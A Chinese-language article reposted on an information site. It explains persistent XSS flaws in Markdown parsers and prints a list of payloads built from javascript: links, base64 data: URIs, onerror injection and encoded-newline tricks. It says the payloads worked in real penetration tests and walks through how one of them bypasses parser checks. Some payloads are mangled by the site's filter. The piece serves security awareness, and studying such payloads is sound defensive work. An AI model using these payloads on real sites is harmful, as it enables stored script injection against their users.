千家信息网

如何分析Markdown解析器的持久型XSS漏洞

发表于:2024-09-23 作者:千家信息网编辑
千家信息网最后更新 2024年09月23日,如何分析Markdown解析器的持久型XSS漏洞,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。什么是Markdown?M
千家信息网最后更新 2024年09月23日如何分析Markdown解析器的持久型XSS漏洞

如何分析Markdown解析器的持久型XSS漏洞,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

什么是Markdown?

Markdown是一种轻量级的标记语言,流行程度已经得到了GitHub和Stack Overflow的广泛支持,作为普通人我们也可以轻松上手。

用markdown来写文章非常赞,那些琐碎的HTML标签都可以抛到脑后不用管。最近5年内,markdown收到非常多的关注,包括Reddit,Github,StackOverflow在内的很多应用都使用 markdown这也催生了很多的markdown解析器的产生,这里定义了一些markdown语法,语法约定markdown解析器将这些标签解析为html标签。

Markdown安全现状

Markdown解析器的安全现状如何?有没有对用户输入的数据做过滤?

事实上,很多markdown解析器都没有过滤用户输入的数据,那么如果markdown被用于添加用户评论等功能的时候,就有可能存在安全风险。

这里有一些关于这个问题的讨论:[1], [2], [3].

另外,如果用googe搜索一下:

markdown xss issue site:github.com

你就会发现github上又很多***很高的项目都被发现存在XSS 漏洞。

所以,如何构造一些payload呢?看下面这些:

[a](_javascript:prompt([xss_clean]))[a](_javascript:prompt([xss_clean]))![a](_javascript:prompt([xss_clean]))\<_javascript:prompt([xss_clean])> <javascript:alert('XSS')>  ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[a](javascript:alert('XSS'))![a'"`onerror=prompt([xss_clean])](x)\[citelol]: (_javascript:prompt([xss_clean]))[notmalicious](_javascript:_window.onerror=alert;throw%20[xss_clean])[test](_javascript://%0d%0aprompt(1))[test](_javascript://%0d%0aprompt(1);com)

上面这些payload是由Aleksa和原文作者一起搞出来的。在过去的12个月内,在实际渗透测试中证明,上面的这些 payload 是有效的。并且很多 markdown 解析器都受到影响。来看一下***一个payload:

[test](_javascript://%0d%0aprompt(1);com)

我们猜测,markdown 解析器可能通过如下几个步骤来进行解析&转换:

判断时候有协议头?//有javascript 伪协议,Y

hostname 是以常见的域名后缀(com, org)结尾的?//是的,以 com 结尾 Y

将上述 payload 转换为 HTML 标签,//结果如下

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注行业资讯频道,感谢您对的支持。

0